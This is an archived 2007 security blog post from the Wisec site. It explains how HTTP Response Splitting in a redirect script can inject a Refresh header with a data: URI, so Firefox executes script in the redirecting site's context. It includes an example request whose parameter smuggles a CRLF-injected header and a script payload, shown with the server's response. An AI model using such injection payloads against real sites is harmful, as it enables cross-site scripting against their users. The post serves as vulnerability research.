Wisec - The WIse SECurity

Wisec - The WIse SECurity - Stefano Di Paola, wisec.it.

- Published: date not stated
- Original: <http://www.wisec.it/sectou.php?id=472a5b8d1a4cd>
- Preserved from: http://www.wisec.it/sectou.php?id=472a5b8d1a4cd (stored) on 2026-08-16
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Wisec - The WIse SECurity

THP Wisec USH DigitalBullets TheHackersPlace network

|

[image: image]

The ***WI***se ***SEC***urity

| .italian .english | |

Wisec Home SecSearch Projects Papers Security Thoughts

| News

Flash Application Testing: A New Vector for XSS and Cross Site Flashing.

IE and Firefox Digest Authentication Request Splitting.

Php import_req_var globals overwrite Advisory.

Subverting Ajax - The Paper.

Adobe Plugin Multiple Vulnerabilities.

Wisec@23rd.CCC Congress in Berlin - 29th Dec. 2006 - Subverting Ajax.

SecSearch. Search Engine for Security Community.

Mysql COM_TABLE_DUMP Flaws.

Mysql Anonymous login Flaw.

A new project to stop embed passwords in Php scripts: PassBroker.

MySQL new three vulnerabilities unleashed

PHP shmop safemode bypass

PHP RFC1867 Vuln - POC Released!

Search on Wisec

[image: Google]

|

Security Thoughts

[Back]

Thursday, November 01, 2007, 23:29

HTTP Response Splitting and Data: URI scheme in Firefox

After having read Pdp's point of view about data: uri scheme on Firefox, here's another reason why Mozillla developers should stop propagating data uri to the initiating parent site.

It is known that Meta Http-equiv='Refresh' tag could be exploited to inject javascript using data:. It's also known that Refresh is a Http header and that it has security matters as clearly explained by Amit Klein. By taking all these stuff together, it will result that Http Response Splitting, could be used to inject Refresh: header and directly XSS the redirecting site. Let's suppose there's a redirection on example.com which acts like the following:

> GET /redirect.jsp?redir=http:// spamsite. com HTTP/1.0 HTTP/1.1 302 Found Date: Thu, 01 Nov 2007 21:40:23 GMT Location: http:// spamsite. com Transfer-Encoding: chunked Content-Type: text/html

In case this script also suffers from a Http Response Splitting, an attacker could easily inject Refresh: with data: uri.

> GET /redirect.jsp?redir=data:blah%0aRefresh:+0%3b+url%3ddata:text/html%3b,<script>js</script> HTTP/1.0 HTTP/1.1 302 Found Date: Thu, 01 Nov 2007 21:40:23 GMT Location: data:blah Refresh: 0; url=data:text/html;,<script>js</script> Transfer-Encoding: chunked Content-Type: text/html

Firefox will happily execute it in the context of the redirector.

No comments yet.

Comments are disabled

Admin login | This weblog is from www.mylittlehomepage.net

Wisec is brought to you by...

Wisec is written and mantained by Stefano Di Paola.

Wisec uses open standards, including XHTML, CSS2, and XML-RPC.

| |